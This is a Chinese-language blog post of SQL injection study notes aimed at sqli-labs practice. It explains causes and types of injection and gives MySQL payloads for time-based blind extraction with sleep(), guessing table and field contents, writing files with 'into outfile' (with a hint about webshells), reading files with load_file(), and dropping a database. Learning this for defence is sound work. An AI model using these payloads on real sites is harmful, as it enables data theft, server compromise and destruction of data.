sql注入筆記

2021-10-03 06:56:11 字數 3492 閱讀 7457

一.為什麼會有sql注入

1.不當的字元處理

sql資料庫將單引號解析成了**與資料的分割線,單引號外面的內容均是需要執行的的**·。將使用者輸入直接傳遞給動態建立的sql語句,單引號字元會被解析成字元分隔符,並作為**與字元的分界。

注意:處理數字型資料是不需要使用單引號將數字資料引起來。

2.不安全的資料庫配置

sqlsserver經常用「sa」作為資料庫管理賬戶,mysql使用「root」作為資料庫管理賬戶,oracle在建立資料庫會建立sys,system和outln賬戶。而一些預設賬戶會有預設密碼。

3.不合理的查詢處理

在進行資料庫操作時,使用者輸入的資料沒有嚴格的過濾,使用者可以自己構造sql語句,採用拼接、注釋等方式構造sql語句來執行自己的語句。(萬能密碼)

4.不當的錯誤處理

將詳細的內部錯誤資訊展示給使用者或攻擊者,一些錯誤資訊會為攻擊者提供**缺陷或者有關的線索。開發和伺服器配置時導致將錯誤直接回顯。

二. sql注入分類

以字元型別分類

數字型:不需要單引號和雙引號閉合

字元型:在注入中考慮引號的閉合和注釋

以注入方式分類

回顯:將構造的sql語句執行後的結果回顯或者報錯的形式顯示出來。

盲注:開發時關閉錯誤顯示,輸入內容不在頁面中展示出來

三.回顯注入

四.回顯報錯

count()         select count(*) from table_name    返回表內資料條數

select count(*); select count(222); 返回1

rand() select rand(); select(數字) 返回隨機浮點數數

rand(5)=rand(5)

select rand(a); 直接報錯 unknown column 'a' in 'field list'

select rand(a) from table_name; 如果表裡有這個列名則返回浮點數,否則報錯

rand() 預設為0到1 rand()*2 設定為0到2

group by 與order by 類似

sleep()    睡眠暫停   若成功執行,返回0   若被中斷則返回1  

and sleep(5) 單位為s《設定5比較適中》

看返回結果響應時間

可以直接數也可以f12檢視

if(expr1,expr2,expr3) 如果expr1為真則返回expr2;如果expr1為假則返回expr3

if() 的返回值為數字值或字串值,具體情況看其所在語境

select if(1,'ture','flase'); 返回ture

select if(0,'ture','flase'); 返回flase

mid(str,num,num) mid(字串,起始位數,查詢位數)

select mid('asdf',1,2); 返回as

也可以這樣 select mid((select username from admin where id=1),1,1);

select ascii(mid(user(),1,1))=114; 返回1 說明第一位是r

select if(ascii(mid(user(),1,1))=114,sleep(5),1); 如果user()第一位是r則延遲5秒後返回0,如果不是則直接返回1 用and鏈結

length() 長度函式

select length(user()) 14位使用者名稱

and length(user())=a

select if(ascii(mid(user(),1,1))=114,sleep(5),1) 設定變數burp往出跑

and if(ascii(mid(user(),1,1))=114,sleep(5),1) 類似的也可以爆出其他資訊

也可以這樣 select if(mid(user(),1,1) like 'r%',sleep(5),1) 設定兩個變數繼續跑

ps:

暴力猜解

and exists(select * from table_name); 判斷是否有table_name表

and exists(select flag from table_name)判斷是否有flag欄位,將flag作為變數猜解

利用length猜解字段長度

and (select length(flag) form table_name)>5

將數字5作為變數猜解

然後利用ascii碼繼續猜解

and (select ord(substr(flag,1,1)) from table_name)>97

把97作為變數猜解flag

**寫入檔案**

1.絕對路徑 d:\php\www

2.最高許可權 mysql- root 這裡不是說你是root使用者名稱就是最高許可權了...

union select 1,"hackby123",3 into outfile "d:\\php\\www\\1.txt"

注意寫目錄時 因為 \ 有轉移的意思,所以必須寫\\ 或/

就會有乙個1.txt的檔案 內容為 1 "hackby123" 3

當然union聯合查詢要與前面的列數保持一致要不然會報錯

這裡也可以用來寫入 一句話......

**讀取檔案**

load_file() 載入檔案

replace()

hex() 轉為十六進製制防止亂碼

事先判斷好回顯點

union select 1,load_file('d:/php/www/1.txt'),3

會出現檔案中內容 一般將d:/php/www/1.txt轉為十六進製制

union select 1,load_file(0x443a2f7068702f7777772f312e747874),3

但這樣如果檔案中有中文或者檔案內容過長時會出現亂碼

所以轉為十六進製制,然後再轉回字元,就解決了亂碼問題

union select 1,hex(load_file(0x443a2f7068702f7777772f312e747874)),3

**刪除資訊**

select 1,2,3 from news where name='1251';drop database test #'

刪除 test 資料庫

推薦sqli_labs練習

sql注入(筆記)

一般注入,select注入 1.注釋符號 2.過濾空格注入 使用 或 或 代替空格 0c form feed,new page 09 horizontal tab 0d carriage return 0a line feed,new line3.多條顯示 concat group concat c...

sql注入筆記

sql注入sql注入 盲注 1.判斷是否存在注入,注入是字元型還是數字型 2.猜解當前資料庫名 3.猜解資料庫中的表名 4.猜解表中的欄位名 5.猜解資料 sql注入步驟 開始攻擊 一般用於試驗的字串是 1 and 1 2 會導致查詢結果為空 輸入 1 or 1234 1234,確認是否有漏洞。如果...

sql注入筆記

1.什麼是sql注入 sql注入是將sql 新增到輸入引數中,傳遞sql伺服器解析並執行的一種攻擊手法。sql引數未經過濾直接拼接到sql語句當中,解析執行,到達預想之外的效果 sql select from where id 1 or 1 1 or 1 1 條件查詢整張表的 2.sql注入是怎麼產...